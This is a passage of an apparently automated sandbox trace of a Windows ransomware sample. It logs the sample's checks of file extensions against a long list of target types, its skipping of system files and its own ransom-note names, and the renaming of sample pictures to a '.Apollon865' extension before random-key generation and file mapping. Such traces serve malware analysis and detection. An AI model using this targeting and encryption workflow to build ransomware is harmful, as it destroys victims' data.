	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0041.883] lstrlenW (lpString="jet") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0041.883] lstrlenW (lpString="jtx") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0041.883] lstrlenW (lpString="kdb") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0041.883] lstrlenW (lpString="kexi") returned 4
	[0041.883] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0041.883] lstrlenW (lpString="kexic") returned 5
	[0041.883] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0041.883] lstrlenW (lpString="kexis") returned 5
	[0041.884] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0041.884] lstrlenW (lpString="lgc") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0041.884] lstrlenW (lpString="lwx") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0041.884] lstrlenW (lpString="maf") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0041.884] lstrlenW (lpString="maq") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0041.884] lstrlenW (lpString="mar") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0041.884] lstrlenW (lpString="marshal") returned 7
	[0041.884] lstrcmpiW (lpString1="eas.jpg", lpString2="marshal") returned -1
	[0041.884] lstrlenW (lpString="mas") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0041.884] lstrlenW (lpString="mav") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0041.884] lstrlenW (lpString="maw") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0041.884] lstrlenW (lpString="mdbhtml") returned 7
	[0041.884] lstrcmpiW (lpString1="eas.jpg", lpString2="mdbhtml") returned -1
	[0041.884] lstrlenW (lpString="mdn") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0041.884] lstrlenW (lpString="mdt") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0041.884] lstrlenW (lpString="mfd") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0041.884] lstrlenW (lpString="mpd") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0041.884] lstrlenW (lpString="mrg") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0041.884] lstrlenW (lpString="mud") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0041.884] lstrlenW (lpString="mwb") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0041.884] lstrlenW (lpString="myd") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0041.884] lstrlenW (lpString="ndf") returned 3
	[0041.884] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0041.884] lstrlenW (lpString="nnt") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0041.885] lstrlenW (lpString="nrmlib") returned 6
	[0041.885] lstrcmpiW (lpString1="as.jpg", lpString2="nrmlib") returned -1
	[0041.885] lstrlenW (lpString="ns2") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0041.885] lstrlenW (lpString="ns3") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0041.885] lstrlenW (lpString="ns4") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0041.885] lstrlenW (lpString="nsf") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0041.885] lstrlenW (lpString="nv") returned 2
	[0041.885] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0041.885] lstrlenW (lpString="nv2") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0041.885] lstrlenW (lpString="nwdb") returned 4
	[0041.885] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0041.885] lstrlenW (lpString="nyf") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0041.885] lstrlenW (lpString="odb") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.885] lstrlenW (lpString="odb") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.885] lstrlenW (lpString="oqy") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0041.885] lstrlenW (lpString="ora") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0041.885] lstrlenW (lpString="orx") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0041.885] lstrlenW (lpString="owc") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0041.885] lstrlenW (lpString="p96") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0041.885] lstrlenW (lpString="p97") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0041.885] lstrlenW (lpString="pan") returned 3
	[0041.885] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0041.885] lstrlenW (lpString="pdb") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0041.886] lstrlenW (lpString="pdm") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0041.886] lstrlenW (lpString="pnz") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0041.886] lstrlenW (lpString="qry") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0041.886] lstrlenW (lpString="qvd") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0041.886] lstrlenW (lpString="rbf") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0041.886] lstrlenW (lpString="rctd") returned 4
	[0041.886] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0041.886] lstrlenW (lpString="rod") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0041.886] lstrlenW (lpString="rodx") returned 4
	[0041.886] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0041.886] lstrlenW (lpString="rpd") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0041.886] lstrlenW (lpString="rsd") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0041.886] lstrlenW (lpString="sas7bdat") returned 8
	[0041.886] lstrcmpiW (lpString1="geas.jpg", lpString2="sas7bdat") returned -1
	[0041.886] lstrlenW (lpString="sbf") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0041.886] lstrlenW (lpString="scx") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0041.886] lstrlenW (lpString="sdb") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0041.886] lstrlenW (lpString="sdc") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0041.886] lstrlenW (lpString="sdf") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0041.886] lstrlenW (lpString="sis") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0041.886] lstrlenW (lpString="spq") returned 3
	[0041.886] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0041.886] lstrlenW (lpString="te") returned 2
	[0041.886] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0041.887] lstrlenW (lpString="teacher") returned 7
	[0041.887] lstrcmpiW (lpString1="eas.jpg", lpString2="teacher") returned -1
	[0041.887] lstrlenW (lpString="tmd") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0041.887] lstrlenW (lpString="tps") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0041.887] lstrlenW (lpString="trc") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.887] lstrlenW (lpString="trc") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.887] lstrlenW (lpString="trm") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0041.887] lstrlenW (lpString="udb") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0041.887] lstrlenW (lpString="udl") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0041.887] lstrlenW (lpString="usr") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0041.887] lstrlenW (lpString="v12") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0041.887] lstrlenW (lpString="vis") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0041.887] lstrlenW (lpString="vpd") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0041.887] lstrlenW (lpString="vvv") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0041.887] lstrlenW (lpString="wdb") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0041.887] lstrlenW (lpString="wmdb") returned 4
	[0041.887] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0041.887] lstrlenW (lpString="wrk") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0041.887] lstrlenW (lpString="xdb") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0041.887] lstrlenW (lpString="xld") returned 3
	[0041.887] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0041.887] lstrlenW (lpString="xmlff") returned 5
	[0041.887] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0041.887] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Apollon865") returned 66
	[0041.888] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.apollon865"), dwFlags=0x1) returned 1
	[0041.888] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.888] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=595284) returned 1
	[0041.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.889] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.889] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.889] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.890] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91860, lpName=0x0) returned 0x150
	[0041.891] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91860) returned 0x4d0000
	[0041.923] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.924] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.924] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.925] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0041.930] CloseHandle (hObject=0x150) returned 1
	[0041.930] CloseHandle (hObject=0x15c) returned 1
	[0041.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.941] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".") returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="..") returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="windows") returned -1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="bootmgr") returned 1
	[0041.941] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="temp") returned -1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="pagefile.sys") returned -1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="boot") returned 1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ids.txt") returned 1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ntuser.dat") returned -1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="perflogs") returned -1
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="MSBuild") returned -1
	[0041.942] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0041.942] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned 55
	[0041.942] lstrcpyW (in: lpString1=0x119e65a, lpString2="Jellyfish.jpg" | out: lpString1="Jellyfish.jpg") returned="Jellyfish.jpg"
	[0041.942] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0041.942] lstrlenW (lpString="Apollon865") returned 10
	[0041.942] lstrcmpiW (lpString1="lyfish.jpg", lpString2="Apollon865") returned 1
	[0041.942] lstrlenW (lpString=".dll") returned 4
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".dll") returned 1
	[0041.942] lstrlenW (lpString=".lnk") returned 4
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".lnk") returned 1
	[0041.942] lstrlenW (lpString=".ini") returned 4
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".ini") returned 1
	[0041.942] lstrlenW (lpString=".sys") returned 4
	[0041.942] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".sys") returned 1
	[0041.942] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0041.942] lstrlenW (lpString="bak") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0041.942] lstrlenW (lpString="ba_") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0041.942] lstrlenW (lpString="dbb") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0041.942] lstrlenW (lpString="vmdk") returned 4
	[0041.942] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0041.942] lstrlenW (lpString="rar") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0041.942] lstrlenW (lpString="zip") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0041.942] lstrlenW (lpString="tgz") returned 3
	[0041.942] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0041.942] lstrlenW (lpString="vbox") returned 4
	[0041.942] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0041.942] lstrlenW (lpString="vdi") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0041.943] lstrlenW (lpString="vhd") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0041.943] lstrlenW (lpString="vhdx") returned 4
	[0041.943] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0041.943] lstrlenW (lpString="avhd") returned 4
	[0041.943] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0041.943] lstrlenW (lpString="db") returned 2
	[0041.943] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0041.943] lstrlenW (lpString="db2") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0041.943] lstrlenW (lpString="db3") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0041.943] lstrlenW (lpString="dbf") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0041.943] lstrlenW (lpString="mdf") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0041.943] lstrlenW (lpString="mdb") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0041.943] lstrlenW (lpString="sql") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0041.943] lstrlenW (lpString="sqlite") returned 6
	[0041.943] lstrcmpiW (lpString1="sh.jpg", lpString2="sqlite") returned -1
	[0041.943] lstrlenW (lpString="sqlite3") returned 7
	[0041.943] lstrcmpiW (lpString1="ish.jpg", lpString2="sqlite3") returned -1
	[0041.943] lstrlenW (lpString="sqlitedb") returned 8
	[0041.943] lstrcmpiW (lpString1="fish.jpg", lpString2="sqlitedb") returned -1
	[0041.943] lstrlenW (lpString="xml") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0041.943] lstrlenW (lpString="$er") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0041.943] lstrlenW (lpString="4dd") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0041.943] lstrlenW (lpString="4dl") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0041.943] lstrlenW (lpString="^^^") returned 3
	[0041.943] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0041.943] lstrlenW (lpString="abs") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0041.944] lstrlenW (lpString="abx") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0041.944] lstrlenW (lpString="accdb") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accdb") returned 1
	[0041.944] lstrlenW (lpString="accdc") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accdc") returned 1
	[0041.944] lstrlenW (lpString="accde") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accde") returned 1
	[0041.944] lstrlenW (lpString="accdr") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accdr") returned 1
	[0041.944] lstrlenW (lpString="accdt") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accdt") returned 1
	[0041.944] lstrlenW (lpString="accdw") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accdw") returned 1
	[0041.944] lstrlenW (lpString="accft") returned 5
	[0041.944] lstrcmpiW (lpString1="h.jpg", lpString2="accft") returned 1
	[0041.944] lstrlenW (lpString="adb") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.944] lstrlenW (lpString="adb") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.944] lstrlenW (lpString="ade") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0041.944] lstrlenW (lpString="adf") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0041.944] lstrlenW (lpString="adn") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0041.944] lstrlenW (lpString="adp") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0041.944] lstrlenW (lpString="alf") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0041.944] lstrlenW (lpString="ask") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0041.944] lstrlenW (lpString="btr") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0041.944] lstrlenW (lpString="cat") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0041.944] lstrlenW (lpString="cdb") returned 3
	[0041.944] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0041.944] lstrlenW (lpString="ckp") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0041.945] lstrlenW (lpString="cma") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0041.945] lstrlenW (lpString="cpd") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0041.945] lstrlenW (lpString="dacpac") returned 6
	[0041.945] lstrcmpiW (lpString1="sh.jpg", lpString2="dacpac") returned 1
	[0041.945] lstrlenW (lpString="dad") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0041.945] lstrlenW (lpString="dadiagrams") returned 10
	[0041.945] lstrcmpiW (lpString1="lyfish.jpg", lpString2="dadiagrams") returned 1
	[0041.945] lstrlenW (lpString="daschema") returned 8
	[0041.945] lstrcmpiW (lpString1="fish.jpg", lpString2="daschema") returned 1
	[0041.945] lstrlenW (lpString="db-journal") returned 10
	[0041.945] lstrcmpiW (lpString1="lyfish.jpg", lpString2="db-journal") returned 1
	[0041.945] lstrlenW (lpString="db-shm") returned 6
	[0041.945] lstrcmpiW (lpString1="sh.jpg", lpString2="db-shm") returned 1
	[0041.945] lstrlenW (lpString="db-wal") returned 6
	[0041.945] lstrcmpiW (lpString1="sh.jpg", lpString2="db-wal") returned 1
	[0041.945] lstrlenW (lpString="dbc") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0041.945] lstrlenW (lpString="dbs") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0041.945] lstrlenW (lpString="dbt") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0041.945] lstrlenW (lpString="dbv") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0041.945] lstrlenW (lpString="dbx") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0041.945] lstrlenW (lpString="dcb") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0041.945] lstrlenW (lpString="dct") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0041.945] lstrlenW (lpString="dcx") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0041.945] lstrlenW (lpString="ddl") returned 3
	[0041.945] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0041.945] lstrlenW (lpString="dlis") returned 4
	[0041.946] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0041.946] lstrlenW (lpString="dp1") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0041.946] lstrlenW (lpString="dqy") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0041.946] lstrlenW (lpString="dsk") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0041.946] lstrlenW (lpString="dsn") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0041.946] lstrlenW (lpString="dtsx") returned 4
	[0041.946] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0041.946] lstrlenW (lpString="dxl") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0041.946] lstrlenW (lpString="eco") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0041.946] lstrlenW (lpString="ecx") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0041.946] lstrlenW (lpString="edb") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0041.946] lstrlenW (lpString="epim") returned 4
	[0041.946] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0041.946] lstrlenW (lpString="fcd") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0041.946] lstrlenW (lpString="fdb") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0041.946] lstrlenW (lpString="fic") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0041.946] lstrlenW (lpString="flexolibrary") returned 12
	[0041.946] lstrcmpiW (lpString1="ellyfish.jpg", lpString2="flexolibrary") returned -1
	[0041.946] lstrlenW (lpString="fm5") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0041.946] lstrlenW (lpString="fmp") returned 3
	[0041.946] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0041.946] lstrlenW (lpString="fmp12") returned 5
	[0041.946] lstrcmpiW (lpString1="h.jpg", lpString2="fmp12") returned 1
	[0041.946] lstrlenW (lpString="fmpsl") returned 5
	[0041.946] lstrcmpiW (lpString1="h.jpg", lpString2="fmpsl") returned 1
